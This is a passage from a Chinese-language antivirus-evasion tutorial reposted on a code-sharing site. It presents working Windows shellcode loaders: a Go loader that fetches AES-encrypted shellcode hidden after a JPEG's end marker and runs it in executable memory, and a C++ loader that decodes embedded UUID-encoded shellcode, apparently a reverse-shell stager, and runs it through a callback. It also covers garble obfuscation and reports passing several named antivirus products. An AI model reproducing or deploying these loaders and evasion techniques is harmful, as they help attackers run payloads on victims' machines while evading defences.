	return origData, nil
}

func main() {
	encodeString := ""
	arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
	if strings.Contains(arg1, "http") {
		resp, err := http.Get(arg1)
		if err != nil {
			os.Exit(1)
		}
		b, err := ioutil.ReadAll(resp.Body)
		resp.Body.Close()
		if err != nil {
			os.Exit(1)
		}
		idx := 0
		b = []byte(b)
		for i := 0; i < len(b); i++ {
			if b[i] == 255 && b[i+1] == 217 {
				break
			}
			idx++
		}
		encodeString = string(b[idx+2:])
	} else if strings.Contains(arg1, "=====18jokriwow0") {
		encodeString = arg1
	} else {
		fmt.Println("a")
	}
	//獲取到aes加密的shellcode qaeasdzxc1qazxsw
	var enc_key1 = "eaea"
	var enc_key2 = "sdzxc"
	var enc_key3 = "1qazxsw"

	sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

上面這個是從參數中獲取shellcode加載的方式,如果識別到http,就從url中加載圖片的shellcode,如果識別到=====18jokriwow0后綴,它才會在命令行中去解密並加載shellcode,如果二者條件都沒達成,則什么都不執行。

免殺效果也是360,def,火絨靜態動態全過!

3. Golang代碼混淆:

看過很多golang免殺的文章,但是很多人都沒提到一點,Golang的代碼混淆;由於 Golang 的反射等機制,需要將文件路徑、函數名等大量信息打包進二進制文件,這部分信息無法被 strip,所以考慮通過混淆代碼的方式提高逆向難度,增加免殺的概率。

Github有一個開源的Golang代碼混淆項目:https://github.com/burrowers/garble

安裝:

go install mvdan.cc/garble@latest

通過包裝 Go 工具鏈來混淆 Go 代碼。需要 Go 1.17 或更高版本。

garble build [build flags] [packages]

只要在編譯時,將go build替換為garble build即可,該工具還支持garble test使用混淆代碼運行測試,以及garble reverse去混淆諸如堆棧跟蹤之類的文本。請參閱garble -h了解最新的使用信息。

混淆前:

反編譯可以看到函數名等信息清晰可見:

混淆后:

混淆后代碼大小也從1.6m變為了1.1m。

混淆后微步3/25,檢測為安全,打分為10分:

4.UUID免殺

使用Python生成uuid格式:

# shellcode必須是16的倍數,不足用x00補充
import uuid
shellcode=b""
print(len(shellcode))
list = []
for i in range(32): # range的范圍也需要是16的倍數
	bytes_a = shellcode[i * 16: 16 + i * 16]
	b = uuid.UUID(bytes_le=bytes_a)
	list.append(str(b))
with open("shellcode.c","w",encoding="utf-8") as f:
	f.write("const char* uuids[] ={")
	for UUID in list:
		f.write("\""+UUID+"\""+",")
	f.write("};")
print(list)

loader:

[[include]]<Windows.h>
[[include]]<Rpc.h>
[[include]]<iostream>
[[pragma]] comment(lib,"Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "e48348fc-e8f0-00cc-0000-415141505251","56d23148-4865-
528b-6048-8b5218488b52","728b4820-4850-b70f-4a4a-4d31c94831c0","7c613cac-2c02-
4120-c1c9-0d4101c1e2ed","528b4852-4120-8b51-423c-4801d0668178","0f020b18-7285-
0000-008b-808800000048","6774c085-0148-8bd0-4818-50448b402049","56e3d001-ff48-
4dc9-31c9-418b34884801","c03148d6-c141-0dc9-ac41-01c138e075f1","244c034c-4508-
d139-75d8-58448b402449","4166d001-0c8b-4448-8b40-1c4901d0418b","01488804-41d0-
4158-585e-595a41584159","83485a41-20ec-5241-ffe0-5841595a488b","ff4be912-ffff495d-be77-73325f333200","49564100-e689-8148-eca0-0100004989e5","0002bc49-5c11-
a8c0-7a92-41544989e44c","ba41f189-774c-0726-ffd5-4c89ea680101","41590000-29ba6b80-00ff-d56a0a415e50","c9314d50-314d-48c0-ffc0-4889c248ffc0","41c18948-eabadf0f-e0ff-d54889c76a10","894c5841-48e2-f989-41ba-99a57461ffd5","0a74c085-ff49-
75ce-e5e8-930000004883","894810ec-4de2-c931-6a04-41584889f941","c8d902ba-ff5f83d5-f800-7e554883c420","6af6895e-4140-6859-0010-000041584889","c93148f2-ba41-
a458-53e5-ffd54889c349","314dc789-49c9-f089-4889-da4889f941ba","5fc8d902-d5fff883-007d-285841575968","00004000-5841-006a-5a41-ba0b2f0f30ff","415957d5-75ba4d6e-61ff-d549ffcee93c","48ffffff-c301-2948-c648-85f675b441ff","006a58e7-4959-
c2c7-f0b5-a256ffd50000", };
int main()
{
	HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//獲得可執行的句柄
	void* ha = HeapAlloc(hc, 0, 0x100000);//申請堆空間
	if (ha == NULL)
	{
		cout << "內存申請失敗!" << endl;
		return 0;
	}
	DWORD_PTR hptr = (DWORD_PTR)ha;
	int elems = sizeof(uuids) / sizeof(uuids[0]);//獲得需要寫入uuids數組元素個數
	for (int i = 0; i < elems; i++)
	{
		cout << (RPC_CSTR)uuids[i] << endl;
		cout << (UUID*)hptr << endl;
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//寫入shellcode
		if (status != RPC_S_OK)//判斷是否寫入正常
		{
			cout << "UuidFromeStringA()!=S_OK" << endl;
			CloseHandle(ha);
			return -1;
		}
		hptr += 16;
	}
	//((void(*)())ha)();
	EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回調函數,運行shellcode
	CloseHandle(ha);
	return 0;
}

參考:

https://blog.csdn.net/microzone/article/details/62419146


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM